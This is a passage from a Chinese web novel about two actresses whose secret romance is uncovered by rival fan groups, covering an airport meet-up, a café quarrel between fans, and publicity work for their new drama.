“就是……发了很多乱七八糟的博文，顺手注销账号。” “这样啊。” 排了半个小时队，两人才坐上列车。列车环城而行，似灵动的银蛇穿梭于鸿城大地。它缓缓驶过海岸，车轮与轨道轻触，发出有节奏的低吟，像是在和着海浪的澎湃涛声。 车窗外，阳光洒在波光粼粼的海面上，折射出万千耀眼光芒。祝星亦举着相机拍照，等列车驶向青翠点山畔，看到深深浅浅的绿与粉，她停下来认真看向远方。 “苏老师，好漂亮啊。”祝星亦忍不住发出感叹，她转头，却见苏寄欢在看她。 闻言，苏寄欢点头，柔软的目光落在祝星亦的桃花眼上，“嗯，很漂亮。” 祝星亦再次举起相机拍一张照，说：“我不知道鸿城的冬天是什么样的，但我觉得鸿城的春天很美。嗯……苏老师？” “嗯？” “冬天的时候，你能不能再带我来一趟？” “好。”苏寄欢撑着下巴看车窗外，“那我们冬天的时候再去一趟宜湾小镇，然后再坐一趟有轨列车？” “你跟我一起的话，怎么都行。” “那明年7月份，你能跟我一起去温哥华吗？或者今年，今年也行。” “温哥华？”祝星亦抱着相机发出疑问，“为什么要去那里？” “看一场烟花秀，好不好？” “有空的话肯定行，我还没出过国呢。” 祝星亦忽然想起来在白鹤岛上苏寄欢曾跟她说过这个地方，但那时候以温哥华为主题的讨论是苏寄欢做了一个梦，梦里苏寄欢跟她求婚了。 她抠着相机带子偏头看苏寄欢，阳光透过窗子游离在苏寄欢浅褐色的眼珠上，像一团星云那么漂亮。 嗅着凛冽的柚子花香，祝星亦小声问：“苏老师，那时候你为什么会梦到跟我求婚了呢？” “我……我也不知道。我只记得我跟你求婚了，然后我们马上要结婚的时候，你死了。”苏寄欢说完又连忙说：“抱歉，有点晦气了。” 祝星亦摇头道：“不，不晦气，如果本就是一条烂命，死了就是解脱。” “你相信宿命吗？”苏寄欢忽然问。 祝星亦愣了下回答：“宿命……有时候会相信。” “也许我们上辈子，真的是未婚妻妻呢？”苏寄欢转头和祝星亦对视。 对上苏寄欢认真的眼，祝星亦摆手轻松道：“没可能的事，我们上辈子不熟，一点都不熟，属于是那种……见面都懒得打招呼的那种不熟，和陌生人没有区别。” 苏寄欢看她说得跟真的似的，疑惑道：“你怎么知道上辈子的事。” 祝星亦刚要说什么，联想到苏寄欢总是逗她，赶忙搪塞了几句继续拍照。 苏寄欢失神地看了她很久，最终塌下肩膀说：“如果我上辈子真的和你是陌生人的话，我会很遗憾的。” 祝星亦说：“可是苏老师，并不是有牵扯才是好事，如果上辈子我们真的相知相熟，却是一段孽缘的话，你也会遗憾。” “人的一辈子，做什么都会有遗憾。”祝星亦说这话时老气横秋的，她认认真真又拍了几张，说：“苏老师，这辈子是最好的，我们过好这辈子就好。” 苏寄欢不语。 韩芸动作迅速，早早便将苏寄欢和祝星亦两人的航班信息散播了出去。因而当她俩赶回麓城那天，两家粉丝赶到机场时才后知后觉，自家正主居然一道结伴去鸿城游玩了。 “苏小姐跟星星关系这么铁啊，难不成是拍《寄明月》的时候成好朋友啦？”一个粉丝满脸好奇地猜测道。 旁边有人附和：“她俩平时互动可不少呢，说不定真是闺蜜情深。” 这时，突然有人拔高声音：“苏苏和祝小姐一起去鸿城？哎？那前几天酒店流出的那些照片……该不会是祝小姐拍的吧？！” 一石激起千层浪，众人瞬间哗然：“不会吧！她俩还住一块儿了？” 叶松萝原本正安静地站在一旁，听着[酥芽］们热烈地讨论，下意识推了推鼻梁上的眼镜，心头涌起一丝不妙的预感。 她伸手拽过一个[酥芽］，急切问道：“你刚刚说星星和苏小姐一起出去玩，还同住一间房？” 那[酥芽］忙不迭地点开微博动态递到叶松萝眼前，解释道：“你看，这几天苏苏发的那些美照都是别人拍的，她助理又没跟着，大概率就是祝小姐帮忙拍的咯。” 叶松萝闻言，赶忙掏出手机点开祝星亦的社交账号，手指飞速划动屏幕，翻到鸿城游玩的照片，不禁诧异地惊呼：“那这些照片，会不会也是苏小姐帮忙拍的？” 周围的粉丝们纷纷掏出手机比对，这一看，还真发现不少照片取景都在相同场景。 许明歌向来心直口快，此刻也凑到叶松萝身旁，没管住嘴嘟囔了一句：“这事儿可真蹊跷，俩人一块儿出去玩，互相拍照，怎么连对方都不艾特一下？神神秘秘的，难不成有啥猫腻？” 话音刚落，旁边一个[酥芽］脸色瞬间阴沉下来。叶松萝见状，赶紧用手肘狠狠撞了许明歌一下，示意她闭嘴。 待远离那群[酥芽］，许明歌依旧拧着眉头念念有词：“我就觉着不对劲嘛，她俩拍完剧又同上综艺，在综艺里亲密行为，分明就不只是普通朋友，现在还结伴出游、同居一室，该不会是……” “你可别乱说！苏小姐的粉丝那可不是好惹的，万一这话被她们听了去，咱俩可招架不住。”叶松萝忧心忡忡地叮嘱。 其实叶松萝心底同样犯嘀咕。 以往不管是Shinyfive的演唱会，还是各类商演活动，苏寄欢的身影总是频繁出现。起初大家只当两人私交甚笃，并未多想。偶尔有些传闻说苏寄欢收祝星亦做学生，[星海］们也没当回事，权当是无稽之谈，未曾去细究真假。 毕竟苏寄欢在娱乐圈那可是德高望重的前辈，[星海］们平日里跟别家粉丝掐架归掐架，但面对苏寄欢时向来满怀敬重，从不敢随意揣测二人关系，毕竟祝星亦未来星途漫长，粉丝们都小心翼翼地维护着她的声誉。 念及此处，叶松萝抬眸望向不远处的[酥芽］们。苏寄欢和祝星亦的粉丝群体，风格迥异，单从穿着打扮便能一眼区分开来。 [酥芽］们大多是气质温婉的漂亮姐姐，一头柔顺黑长直，妆容精致细腻，举手投足间散发着成熟女性的优雅韵味，穿搭偏爱简约大气的黑白灰配色，低调又不失格调。 反观[星海］们，则都是一群活力四射的女大学生，周身洋溢着青春朝气，衣着色彩明艳，叽叽喳喳说个不停，手中挥舞着“闪烁狐星”的灯牌以及琳琅满目的应援物，人还未靠近，光瞧着那些应援物件，便能感受到扑面而来的喧嚣热闹劲儿。 等了许久，苏寄欢和祝星亦推着行李箱从出口出来。[星海］们立刻跑向前去举着牌子喊：“啊啊啊！星星！我的星宝！！” “星星，你好米呀！” “呜呜呜我的宝宝，麻麻终于又见到你了。” “老婆！老婆！”叶松萝踩着玛丽珍小皮鞋，拎着准备送给祝星亦的手工玩偶大声喊着，“老婆！我在这里呀！” 一旁举着单反认真拍苏寄欢的女人被撞了下，她放下相机，冷冷地睨了叶松萝一眼。 叶松萝转头接触到女人的目光，赶忙道歉：“啊，姐姐对不起，不好意思。” 景雨初眉头紧皱，厌烦地冷哼一声，撇着嘴不屑地说：“一点规矩都没有，如今爱豆的粉丝都是又莽撞又没素质吗？什么的爱豆有什么样的粉丝吧，都是上不了台面的东西。” 对方看起来有气势，叶松萝听后眼眶瞬间泛红，反驳的话都讲不出来了。她咬了咬嘴唇，默默地往旁边挪了挪脚步。原本要大声呼喊祝星亦名字的劲儿也没了，鼻子酸酸的，心里像堵了块石头似的难受。 “松萝，怎么不开心？”被粉丝们围在中间的祝星亦一眼就瞧见了有点蔫儿的叶松萝，她脸上带着关切，主动询问了一句。 叶松萝顿时眼眸一亮，脸上绽放出灿烂的笑意，赶忙把手工玩偶递向祝星亦，声音里都透着欢喜：“开心呢！我可开心啦！老婆，这是我亲手做的，希望你能喜欢。” 祝星亦笑着接过玩偶仔细看了看，眉眼弯弯，“你们送我的礼物，我都喜欢呢。” “啊啊啊我的星星好可爱啊啊啊！” “呜呜呜宝宝你也太乖了吧！” [星海］们瞬间激动地尖叫起来，一个个脸上洋溢着兴奋，挥舞着手里的应援物。 苏寄欢微弯着腰伸手从袋子里掏着东西，边掏边笑意盈盈地说：“这是我们两个在鸿城买的一些特产，来，都拿一点。” 说着，便把特产递给周围的粉丝，也没去管是[星海］还是[酥芽］，反正两家粉丝混在一块儿，她也实在分不清谁是谁，脸上始终带着温和的笑。 祝星亦也从兜里掏出一把零食，快走几步塞给跟着自己往前走的叶松萝，眼睛亮晶晶的，“来，松萝你拿着，多拿点儿哦。” 说完，又往叶松萝手里塞了一把。 叶松萝看着手里多得都快捧不下的东西，脑海里突然闪过刚刚那个女人凶巴巴的模样和话语，强忍着泪意笑着对祝星亦说：“谢谢老婆，老婆我好想你，好久都没见你了，你之后还进剧组吗？” “之后我们要宣传新剧，都不进组了。”苏寄欢笑着替祝星亦回答，目光看向周围的粉丝带着期许说：“希望5月份大家多多支持《寄明月》。” “姐姐的作品我们一直都第一时间支持！” “姐姐，你在鸿城玩得开不开心啊？” 苏寄欢微微垂眸，看着正在发东西的祝星亦，嘴角上扬，轻声说：“很开心。” “姐姐，听说你和祝小姐现在是师徒关系，请问这是真的吗？”景雨初抱着相机，一边走着一边看似随意地问道，目光却紧紧盯着苏寄欢。 这话一出口，周围瞬间安静了些，祝星亦的动作也僵住了，她手停在半空，脸上闪过一丝慌乱，眼神下意识地看向苏寄欢。 苏寄欢倒是神色坦然，只是声音放轻了些，缓缓说道：“是啊，我本想着新剧开播时再宣布的，你们消息还挺灵通啊。” 许明歌半捂着嘴，眼睛瞪得大大的，一脸惊讶地说：“天啊，星星和苏小姐是师徒关系，难怪……难怪关系那么好呢。” “星宝，这么大的事你竟然不告诉我们！” “啊啊啊星星，你有苏小姐这么好的老师，一定会学到很多东西的！” “呜呜呜谢谢苏小姐照顾我们宝宝呜呜呜。” 景雨初眉头一挑，攥着拳头，脸上挤出一丝笑，追问道：“那，姐姐，你觉得你和祝小姐平时相处怎么样？她是爱豆你是演员，你们聊天时有隔阂吗？” 许明歌听到这话，心里隐隐觉得景雨初好像对祝星亦不太对劲，忙走到一个看起来很好说话的[酥芽］身边，带着笑问道：“小姐姐，这个拿相机的姐姐是谁呀？感觉她和苏小姐很熟呢。” 那好脾气的[酥芽］笑了笑，耐心地说道：“她叫景雨初，是苏苏的站姐呢，她小学的时候就开始追苏苏了，在我们粉圈内可有名气了，算是苏苏的究极大粉哦。” 小学？许明歌一听，心里满是讶异，不过想到苏寄欢本就是童星出身，也就不觉得太意外了。 她看着景雨初那皮笑肉不笑的模样，暗暗觉得这人怕是不好对付。追星追了这么多年，说不定是个唯粉，要是是毒唯的话……那可就麻烦了。 “我们平时相处就像很亲密的朋友一样，她很好，很优秀，希望你们也会喜欢她。”苏寄欢一脸认真地回答道，顿了顿，又接着说，“至于隔阂，我这边是和她没有隔阂的，我很想要靠近她，了解她，也特别想深刻地读懂她。如果你们愿意去了解她，我想你们会有惊喜。” 说完，她停顿了一下，从袋子里掏出一把东西递给景雨初，目光诚挚地说：“另外她虽然是爱豆，但她的演技很好，希望你们不要对她有什么偏见。她在表演上很有天赋，等剧播出的时候你们就知道了。” 人群中的[星海］一脸感恩，激动地说：“呜呜呜，谢谢苏小姐的夸奖，谢谢苏小姐夸我们宝宝。” “啊啊啊谢谢苏小姐！” “我们星星一定是世界上最幸福的小孩！” 景雨初抓着那把零食，下巴微微扬起，一脸不情愿地把零食揣兜里，她哼了一声便没再言语，只是眼神里透着一丝不甘。 等两人走远坐上车离开后，景雨初站在咖啡店门口眉头紧皱，一边查看相机里的照片，一边想着事儿。 梁韵文冲她招手：“雨初，走，去里面坐坐。” “所以那篇帖子的内容是真的了？”景雨初皱着眉转头看向梁韵文，眼里满是疑惑与担忧。 两个月前，某论坛的匿名网友发了一篇帖子，声称苏寄欢和祝星亦有不正当女女关系，还说她们只是用[师徒］关系来迷惑众人，甚至说祝星亦和苏寄欢已经睡过了。 那帖子刚发出来没多久，就被梁韵文给拦截举报了，所以只有少数人知道这事儿。 梁韵文作为苏寄欢的大粉之一，对苏寄欢舆论方面的关注度可不比苏芙低。毕竟她做大粉这么久了，也从苏寄欢工作室拿了不少好处，更别说靠组织线上线下活动和贩卖苏寄欢周边都赚了几套海景房了，自然多多上心。 这大粉的位置，还是梁韵文从上一代大粉那儿接手过来的。最早一批[酥芽］确实都年纪大了，毕竟苏寄欢5岁就参演电影了，最早一批的粉丝可都是看着她长大的。 可苏寄欢的性子如何，老粉新粉心里都跟明镜儿似的。收徒这种事，按苏寄欢以往的做派那是万万做不来的。她不会平白无故去培养一个和自己没什么利益关系的人，除非…… “除非她真的和那个人，有不正当关系。”梁韵文气得脸都有点红了，她紧紧地握着拳头，咬着牙恨恨地说道，“我现在真是搞不懂她了，她是拉子这事非要闹得众人皆知吗？” 温晚棠抱着笔记本，手指在键盘上快速敲打着，修完图后发了超话，然后端起一杯冰美式猛灌了一口，一脸恨铁不成钢地说：“她还用[师徒］关系迷惑人，她幼不幼稚啊？《寄明月》和《辞旧赋》对打的事她完全不上心吗？晏瑾年那边营销得多猛她不知道吗？” 景雨初烦躁地揉了揉有点杂乱的头发，冷笑一声，满脸不悦地嘟囔着：“她今天回我那一句话什么意思？是觉得我在针对那个祝星亦了？是指名道姓要我们[酥芽］要对祝星亦放尊重点吗？祝星亦？呵！不入流的穷鬼罢了，要我们对她放尊重？她配吗？！” 第70章 我跟她抢 温晚棠敏锐地察觉到了这一点，苏寄欢那番话显然是有意说给[酥芽］听的，更确切地说，是说给她们这些大粉听的。 苏寄欢虽掌控不了庞大的粉丝群体，但她们这些大粉却有着左右粉丝情绪与舆论走向的力量。所以[苏盛］对她们向来优渥有加，而她们也真心实意地为苏寄欢的星途操劳。 今日多亏温晚棠提前管控前来接机的人，能来的都是唯粉，听话懂事，清楚哪些接机画面可以曝光，哪些必须保密。若是毒唯来了，祝星亦怕是要被骂得狗血淋头。 “劁！她和祝星亦有没有私情我懒得管，她能不能先专注事业？《白虹的院子》剧组，她无故消失两次，偷偷从宁城飞回麓城的事以为能瞒天过海？”温晚棠一想到这些就气不打一处来，“那群[瑾一卫］就等着看我们笑话，晏瑾年马上要去争取《沉默的外乡人》，要是她成功了，我们离大满贯又远了一步。” 梁韵文轻轻抬起手腕，食指和中指有节奏地敲打着桌面，“她还顾得上事业吗？要不是苏芙在背后把控，她怕是连一点事业心都不剩了。三天两头不见人影，也不报备，每次都要别人追问才肯开口。” “她和那个爱豆去鸿城，没逮到两人一起下飞机就死不承认！”温晚棠满脸怒容。 三人坐在咖啡店最里间的角落，店内弥漫着惬意的氛围。景雨初目光随意地扫向玻璃窗外，只见一群举着[星海］手举牌的粉丝朝咖啡店走来。 为首的那个女生打扮得极为花哨，像个精致的蛋糕，她记得那是祝星亦的大粉叶松萝。 刚才她和这女生起了点冲突，依她看，真该提前叫保安把这些[星海］轰出去。吵吵嚷嚷的，像一群没头的苍蝇，毫无素质可言。 这群人走进来在另一个角落坐下，随即爆发出一阵兴奋的呼喊。景雨初心里暗自鄙夷，她觉得这些人和精神错乱的疯子没什么两样，一口一个宝宝、老婆地叫着自家爱豆，毫无规矩与分寸。 景雨初懒得理会，双腿优雅地交叠，继续翻看拍摄的照片。 片刻后，她听到远处角落传来动静，抬眼便看到一个穿着雾蓝毛衣格子裤的女生拉着叶松萝走了过来。 格子裤女生走到近前，双臂抱在胸前，盛气凌人地说道：“景雨初，给松萝道歉！” 温晚棠瞥了一眼这两个看起来不过二十出头的女生，向景雨初问道：“你怎么招惹她们了？” 景雨初轻轻撩了撩柔顺的长发，挽起衬衫袖口，精致的面容上浮现出一丝厌烦，“我怎么知道？我都不知道怎么回事。” 许明歌居高临下地看着若无其事坐着的景雨初，顿时怒火中烧。 苏寄欢人确实不错，但她的粉丝怎么如此傲慢？从在机场等候开始，这些[酥芽］就对[星海］冷嘲热讽，只有少数脾气好些。 眼前这个一看就知道脸上动了多少刀子的女人，竟然光明正大地嘲讽辱骂叶松萝。萝妹能忍，她许明歌可忍不了。 “你不知道？你对萝妹进行人身攻击，还敢说不知道？还说我们没素质，真是可笑，你又好到哪里去？大家都是追星的，你凭什么高人一等？”许明歌气愤地说道，恨不得伸手捏歪景雨初的鼻子。 此话一出，景雨初三人相视而笑。 梁韵文托着下巴，懒洋洋地抬起眼皮，“高人一等？你们主子得过多少奖？电影奖、电视剧奖，拿过几个最佳女主角？有多少代言？在哪些电影节当过评委？走过几次国外红毯？嗯？” 许明歌不屑地哼了一声，“苏小姐拿多少奖关你们什么事？又不是你们拿的，你们在这儿瞎激动什么！” “不好意思，粉丝的地位取决于正主的地位，你混粉圈的，连这都不懂？”景雨初说道。 许明歌翻了个白眼反驳道：“你还在这儿划分等级？你们也太自以为是了！” “这位妹妹，你还在上学吧？你追星的钱是父母给的吧？至于等级……”景雨初低声轻笑，“追星当然有等级之分，我们有钱有闲有资源，我们的偶像履历辉煌，自然比你们追十八线艺人的粉丝高一等……” 景雨初话未说完，叶松萝猛地将桌上的冰美式泼到她头上。 梁韵文和温晚棠顿时惊惶失措，连忙掏出纸巾帮景雨初擦拭脸和衣服。 “你知道她这衣服多贵吗！”温晚棠难以置信地看着叶松萝，“我告诉你……” “多贵？我赔得起。”叶松萝掏出自己的名片，上面写着【小松lolita设计师：萝萝联系方式：xxxx】。 叶松萝紧握着拳头，愤怒地说：“我追星的钱是自己赚的，我们星星也不是你说的十八线小艺人。她出身贫寒却凭实力夺冠，一直在努力向上，她对作品负责对粉丝用心，她比你们强多了！” 她将名片拍在桌上，提高声调，“我赔你衣服，但我也要告诉你，我一件衣服的设计费比你全身衣服都贵！我们星星迟早会成为一线大明星，少瞧不起人了！” “她还想当一线大明星，吃拼好饭吃多了吧！”景雨初气得顾不上形象，猛拍桌子站起身朝着叶松萝吼道：“一个不知用什么手段上位的女人还想成大明星，她成名那天就是退圈之时！” 许明歌听了这话也火了，“你管她什么手段上位，又不是跟你家正主睡了，你操什么心！” “你！！”景雨初被噎得说不出话。 梁韵文和温晚棠对视一眼，拉着景雨初轻声劝道：“算了，别跟这种人计较，一群没脑子的小孩，苏苏的面子重要。” 景雨初不再理会，正好叶松萝也发泄完了，狠狠瞪了景雨初一眼转身离开。 景雨初擦净脸上的咖啡渍，气呼呼地说：“和那群女的对骂简直拉低我档次！” 晚上景雨初回到家，梁韵文发来几张照片。照片是祝星亦在酒店的自拍和苏寄欢在酒店的她拍。照片经过处理，放大后依然清晰。 梁韵文特意标注了苏寄欢的她拍照，一张里有祝星亦帮忙拍照的倒影，另一张角落堆着衣服，看上去……像是两人的衣服混在一起。 景雨初放大那堆衣服，看到两件风格迥异的乳罩…… “该死，苏寄欢你不会真和她睡了吧！”景雨初紧握着拳头，咬牙切齿。 梁韵文：【小雨，我这儿还有几张照片】 梁韵文：【图片×18】 景雨初点开第一张照片，是在一艘游轮上拍摄的。查看时间和地点，应该是《姐敲门》综艺录制期间。从照片角度看，祝星亦似乎在亲苏寄欢的脸颊。 夜幕下的游轮，繁星闪烁，苏寄欢和祝星亦在月下亲昵低语，画面极为浪漫。 景雨初脑袋“嗡”的一声，急忙打字问梁韵文。 景雨初：【这照片谁拍的！】 梁韵文：【我买来的】 梁韵文：【先别管哪来的，你快看看其他照片，核对下时间线】 梁韵文：【苏寄欢就是个疯子！她到底想怎样啊！】 景雨初又点开其他照片。 这两张照片摄于《寄明月》片场，苏寄欢和祝星亦都身着戏服。第一张里，苏寄欢坐在茶桌前抬头望向站着的祝星亦，往日冷峻的目光此时温柔似水；第二张，苏寄欢站在祝星亦身后，双手环着她的腰…… 景雨初呼吸一滞，颤抖着手放大苏寄欢的表情。 那脸上满是……爱意…… 再往下放大，苏寄欢的手亲密地搂着祝星亦的腰，宛如相伴多年的爱侣。 “苏寄欢！你想死啊！！”景雨初再也按捺不住，抓起键盘狠狠摔了出去。 她抱着头缓了许久，再次点开一张图。 图中雪花纷纷扬扬，苏寄欢和祝星亦紧紧相拥。 照片日期是1月12日，景雨初清楚地记得，那天苏寄欢一声不吭地从宁城离开，原来是回麓城去见祝星亦…… 又点开一张，是除夕在医院拍的。 苏寄欢紧紧抱着满脸泪痕、不知所措的祝星亦，她的眼*神比在任何一部影视剧里都要复杂。 这两张照片，解开了苏寄欢从宁城离开去见谁的谜团。 此时景雨初眼中已满是泪水，她从未想过，苏寄欢会为了一个女人荒废事业。 [酥芽］们常说：“如果你知道我们粉的是谁，你也会知道我们命有多好。” 苏寄欢的辉煌履历、傲人战绩和敬业精神，曾是[酥芽］们的骄傲与信仰。可如今，敬业不再，战绩何谈…… 景雨初匆匆点开其他照片，牵手、喂饭、深情对视、见家长、情侣挂饰、情侣围巾…… 这已不是简单的绯闻，这两人分明是从《寄明月》剧组开始就陷入热恋。 原来……原来早就在一起了。原来早就睡了八百次，原来家长都见过了。听说苏寄欢有个去国外的计划，也许都打算去国外登记结婚了。 “苏寄欢，你非要这么瞒着我们吗？你这么胆大妄为，有把我们放在眼里吗？”景雨初咬着牙喃喃，“被一个女人迷得事业不要了，前途也不要了，天天想着和那个女人谈恋爱结婚，你有想过[酥芽］的感受吗！” 梁韵文打来电话，景雨初闭眼接听。 “我从未想过她会变成这样。”梁韵文带着哭腔说，“我看着她一步步走向巅峰，拿下一个个奖杯，可现在她却抛弃了这一切，不要光环，不要事业，只要那个女人。我们做错了什么？” “她被人批判、质疑的时候，我们哪次不是拼死维护？我投入了那么多金钱和感情，结果她带着一个女人出现，还要我们尊重她，不要伤害她。”梁韵文哽咽着，“我曾把她当作遥不可及的明月，如今却发现她只是一朵普通的花儿。” “我知道她单身太久，有情感需求，也有欲望需要疏解，可……小雨，你懂的，我无法接受这个事实。” 景雨初沉默良久，问道：“那你要脱粉吗？” 电话那头许久没有声音，最后才传来：“沉没成本不参与重大决策，我粉了她十年，我放不下。” “我也放不下，现在只能……”景雨初冷静下来，“先把她们谈恋爱的事瞒住，别让[酥芽］们知道，不然会引发大规模脱粉。” “可万一哪天事情暴露了怎么办？纸包不住火，迟早会有这么一天的。” “能瞒多久是多久，我们这些大粉知道就行，做好保密和公关工作。《寄明月》快播了，绝不能让她们恋爱的事传出去，绝对不能。”景雨初揉着眉心，“我真服了她了，简直要死了。算了……。” “真的决定要纵容她了吗？” “没有第二种选择了。”景雨初拍桌子叹道：“我现在只希望她能专注事业，《寄明月》完全打不动《辞旧赋》，无cp成长型女主和感情修罗场的高门贵女，要谁说也是后者更有看点。” 景雨初没别的法子，剧播后她们这些粉丝会全身心扑在数据上，不会让《寄明月》输得太难看。 梁韵文说：“要说做数据，祝星亦的粉丝不是很会做吗？毕竟流量爱豆要什么没什么，但就是有数据，还不如和她们联合一下。” “少来，十八线艺人的粉丝我碰一下都嫌脏。”景雨初想想那群[星海］就气不打一处来，顿了顿，她叹道：“不过那女人的称呼我们私下也应该改一下了，这是苏苏的决定，我们尊重她。” “改什么？” “私下喊那女人嫂子吧，这也是没有办法的事。你到唯粉大粉群里讲一下，毒唯那群人……就先别告诉她们了，我怕她们知道了知道攻击嫂子。” “行。我马上通知。”梁韵文怕景雨初没有完全想开，劝道：“小雨，往好点想，嫂子挺漂亮的，性格也不错，就是粉丝差劲点。” 景雨初趴在桌子上，泪珠湿了衣袖，“我知道，苏苏自己选的人，我尊重祝福。她们要是能幸福地走下去，作为老粉我肯定是高兴的。” 她没有别的要求，她只希望苏寄欢不要再这么任性了。至于嫂子，嫂子对苏寄欢好就好。 /// 《寄明月》官宣定档520，达尼官方未雨绸缪，早在4月中旬便火力全开，对该剧展开大规模宣发攻势。 苏寄欢给祝星亦打电话，听筒里传出的声音温和又亲切：“星星，520当天我们要去达尼视频参加首播仪式，彩排前后我去接你。” 彼时祝星亦正在Ailintase的摄影棚内拍宣传照，她微微颔首，轻声应道：“好嘞，多谢苏老师挂心。” “今日拍摄还顺遂吧？”苏寄欢追问。 祝星亦任由化妆师在脸颊上补妆，神色平静：“挺顺当的。这儿的工作人员态度亲和，我配合得也开心。” 祝星亦前世的代言履历堪称黯淡，拿得出手的品牌寥寥无几。脱离艺域运营后，风荇也未尽心竭力为她争取优质资源。 她自己又何尝没努力过？只可惜人微言轻，人脉稀缺，参演作品皆是些上不得台面的小配角。那时唯一能指望的晏瑾年，对她的事业诉求也不过是敷衍了事。 祝星亦满心困惑，晏瑾年费尽心机把她追到手，却为何不愿好好栽培？难不成就图把她拴在身边，当个徒有虚名的摆设？思及此处，她自嘲一笑，晏瑾年果真是个拿不出手的“前妻姐”。 Ailintase的拍摄日程紧凑，持续了好几日终于顺利拍完。 白澜仔细梳理后续流程，除却《寄明月》首播剧宣的彩排，还有一档热门综艺亟待录制——乐环tv的《全员up！》。 这档真人秀主打解谜闯关，祝星亦受邀参与第三期录制。 “第三期嘉宾阵容强大，有程偌菲、齐漫姝、郁黛、胡容梦……”白澜念着嘉宾名单，祝星亦听到“郁黛”二字，指尖不自觉地轻颤了一下。 郁黛不是别人，正是晏瑾年旗下[晏影娱乐］的艺人。因为定位、公司的缘故，郁黛和程偌菲是妥妥的对家。两家粉丝常常在广场上掐架，一旦遇到就会吵得不可开交。 这节目组还真是会找人啊，这一期看点绝对有了。 不过祝星亦对二人的纷争并无兴致，即便录制现场她俩真吵得不可开交，她也决意置身事外，一心只扑在剧宣上。 这期节目专为《寄明月》首播预热，定在首播前一日播出。祝星亦提前与齐漫姝通气，千叮万嘱上了综艺定要全力为剧宣传。 “郁黛也在《辞旧赋》里演了个女配，她到时候肯定也会给《辞旧赋》宣传。”齐漫姝心想这期节目有了竞争对手，“而且她这个人很夸张很会表现，典型的npd人格，咱可得小心啊。” 祝星亦自是知晓郁黛的脾性。 郁黛乃麓城本地人，家境优渥，家中经营海产生意，祖上在麓城便坐拥庄园。她自小养尊处优，高中时霸凌同窗的丑闻都能被[晏影］强行压下。 在祝星亦看来，晏瑾年旗下艺人，似乎都沾染了她那股子傲慢劲儿，皆是目中无人的富家千金做派。 “知道了知道了，咱俩心无旁骛宣传剧就好了。”祝星亦应道。 齐漫姝轻叩桌面，话锋一转：“话说回来，你当真铁了心跟苏小姐炒CP？不打算跟我凑一对？” 祝星亦满心无奈，若非韩芸极力要求，她怎会应允与自己的老师组CP？ “事已至此，韩芸那边都运作起来了，还能怎么办？”说罢，她点开微博CP超话，瞧着韩芸职粉发力，满屏的剪辑视频与亲密合照，心里直发怵。 韩芸的团队手段高明，营销号铺天盖地都是苏寄欢和祝星亦[小姐×丫鬟］的剪辑，还有拍戏现场花絮，甚至冒出不少二人共同去鸿城游玩的偶遇照，点赞量最高的混剪视频直冲230w。 评论区更是热闹非凡，粉丝们疯狂催着快播《寄明月》，更是直呼让二人原地官宣。 【两位姐姐，为了我，你俩就谈一个好不好！】 【我从没想过我会磕sjh的cp，她在我心里可是一个非常正经的老干部形象啊！】 【就是……你们能不能牵个手，再抱一下，最后亲个嘴儿，再去床上躺一夜，然后邀请我去床底，我不介意的】 【《寄明月》你能不能明天就开播！我要看啊啊啊！！】 这般阵仗，《寄明月》的热度眼见着就要压过《辞旧赋》了。 齐漫姝仍不死心，给祝星亦支招：“你顺带跟我炒炒也不碍事，毕竟不是所有人都吃你俩cp，苏寄欢的唯粉可不少，路人粉再狂热，剧播完也就散了，到时候她那些梦女粉丝还不得把你生吞活剥咯！” 祝星亦却很笃定：“我本就冲着吸路人粉去的，她的粉丝买不买账不重要，梦女再痴迷也捞不着苏老师真人。” “行吧行吧，随你折腾。”齐漫姝嘟囔着，又想起一事，“对了，那个郁黛咱能躲则躲，不过程偌菲嘛……你之前见过，觉着她人如何？” 祝星亦忆起鹿芜观的遭遇，随口敷衍：“还行吧，人家是公司力捧的当红辣子鸡，要啥有啥，跟咱可不是一路人，别管她了。人家是大明星，咱就是小糊咖。” “哎，祝大星，你可别妄自菲薄！”齐漫姝拔高音量，“你都涨了好几百万粉了，在同梯队小花里那也是拔尖儿的，离飞升下一梯队就差临门一脚，加把劲呐！” 话虽如此，祝星亦心底仍泛起一丝酸涩。程偌菲有苏寄欢全力护航，而自己…… 心脏某个位置隐隐作痛，祝星亦拍拍脸，强行驱散杂念。 综艺录制当天，祝星亦特地再跟齐漫姝通一通气，无论到时候嘉宾难缠还是友好，哪怕是现场会发生什么意外，两人都得好好表现，然后不遗余力地宣传《寄明月》。 《全员up！》的录制场地常选在景区或影视城，关卡和解谜环节错综复杂，如同沉浸式剧本游。嘉宾们各自为战，需躲避“反派NPC”抓捕，完成货物运送、金牌收集等主线任务，还能通过解谜小游戏赚取额外积分，总分高者获胜。 这个综艺对嘉宾的耐力要求高，每次综艺录制的场地都十分庞大，嘉宾们躲避追捕和完成任务都要跑很久，有时还要负重跑。 第三期的录制结合两部待播古装剧，服设都是古风。队伍分为两队，恰好齐漫姝和祝星亦分为一队，郁黛和程偌菲一队。 祝星亦的装扮是江湖侠女风，一袭红衣，马尾束起，干净利落；齐漫姝则是清冷贵女的打扮，淡粉色衣裙，头发盘在脑后，端庄大方。 齐漫姝抓着自己的衣袖有些为难道：“我这一身有点不方便，等下跑不动。” 祝星亦瞄了两眼正在和其他嘉宾笑着聊天的郁黛说：“你还说你呢，你看看那个郁黛，她的头好像水晶吊灯。” 郁黛的服装是水蓝色襦裙，头上的链条装饰繁杂无比，晃一下头都能打到一旁观众的脸。 祝星亦一拍胸脯，打包票道：“放心，就她那身行头，待会儿分数指定没咱高。” 可她目光触及一旁气定神闲的程偌菲，心里又打起鼓来。 程偌菲一袭白衣胜雪，白玉冠束发，面容恬静，男装打扮干净利落，加之平日拍打戏从不用替身，体能定不容小觑。 祝星亦咬咬牙，冲齐漫姝低语：“老漫，等会儿分头行动，你去对付那‘吊灯’，我盯着程偌菲。” 齐漫姝瞪大双眸，惊呼：“你这不是为难我嘛！让我跟郁黛对上？” “怕啥，你俩都是富家千金，真杠上了你也别怂。”祝星亦叹口气，“我可不成，万一她开口就呛我穷酸，我……” “她敢骂你！”齐漫姝登时脾气上来了，“大星，我告诉你，你千万别妄自菲薄。你的才华，你的品行，都是比黄金还要珍贵的东西，那些人再有钱也不如你！” 祝星亦心头一暖，拍拍齐漫姝肩膀：“得嘞，有你这话我就安心了，郁黛交给你，我去会会程偌菲。” 嘉宾各就各位，尖锐哨声划破长空，游戏正式启动。 祝星亦的出生点是小亭子里，她需要躲避刺客的追捕，把包袱里的货物运送到皇宫。期间要收集六枚藏匿隐蔽的金牌，并要提防敌方抢自己的货物或金牌。 